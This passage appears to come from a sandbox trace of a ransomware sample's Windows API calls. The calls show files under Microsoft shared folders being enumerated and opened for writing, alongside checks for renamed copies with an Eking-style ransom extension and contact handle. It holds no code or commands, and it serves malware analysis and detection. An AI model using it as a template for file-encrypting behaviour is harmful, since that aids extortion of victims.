hTemplateFile=0x0) returned 0x360 [0230.712] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4450) returned 1 [0230.712] CloseHandle (hObject=0x360) returned 1 [0230.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0230.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0230.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0230.713] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1053784) returned 1 [0230.713] CloseHandle (hObject=0x360) returned 1 [0230.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0230.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0230.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.717] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=982720) returned 1 [0230.717] CloseHandle (hObject=0x378) returned 1 [0230.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0230.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0230.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.718] SetEvent (hEvent=0x2b8) returned 1 [0230.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.719] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=390320) returned 1 [0230.719] CloseHandle (hObject=0x378) returned 1 [0230.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0230.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0230.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.719] SetEvent (hEvent=0x2b8) returned 1 [0230.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.720] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=88752) returned 1 [0230.720] CloseHandle (hObject=0x378) returned 1 [0230.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0230.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0230.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.727] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=791421) returned 1 [0230.727] CloseHandle (hObject=0x378) returned 1 [0230.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0230.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0230.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.728] SetEvent (hEvent=0x2b8) returned 1 [0230.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.762] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10752) returned 1 [0230.762] CloseHandle (hObject=0x378) returned 1 [0230.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0230.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0230.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.763] SetEvent (hEvent=0x2b8) returned 1 [0230.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.763] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10752) returned 1 [0230.763] CloseHandle (hObject=0x378) returned 1 [0230.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0230.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0230.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.766] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=27045) returned 1 [0230.766] CloseHandle (hObject=0x378) returned 1 [0230.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0230.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0230.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.766] SetEvent (hEvent=0x2b8) returned 1 [0230.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.767] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=9728) returned 1 [0230.767] CloseHandle (hObject=0x378) returned 1 [0230.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0230.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0230.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.770] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10240) returned 1 [0230.770] CloseHandle (hObject=0x378) returned 1 [0230.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0230.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0230.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.771] SetEvent (hEvent=0x2b8) returned 1 [0230.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.772] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10752) returned 1 [0230.772] CloseHandle (hObject=0x378) returned 1 [0230.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0230.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0230.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.773] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10752) returned 1 [0230.773] CloseHandle (hObject=0x378) returned 1 [0230.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0230.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0230.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0230.776] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=9728) returned 1 [0230.776] CloseHandle (hObject=0x378) returned 1 [0230.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0230.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0230.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.777] SetEvent (hEvent=0x2b8) returned 1 [0230.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0230.788] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=111320) returned 1 [0230.788] CloseHandle (hObject=0x380) returned 1 [0230.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0230.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0230.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.789] SetEvent (hEvent=0x2b8) returned 1 [0230.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0230.789] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=48936) returned 1 [0230.789] CloseHandle (hObject=0x380) returned 1 [0230.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0230.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0230.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common 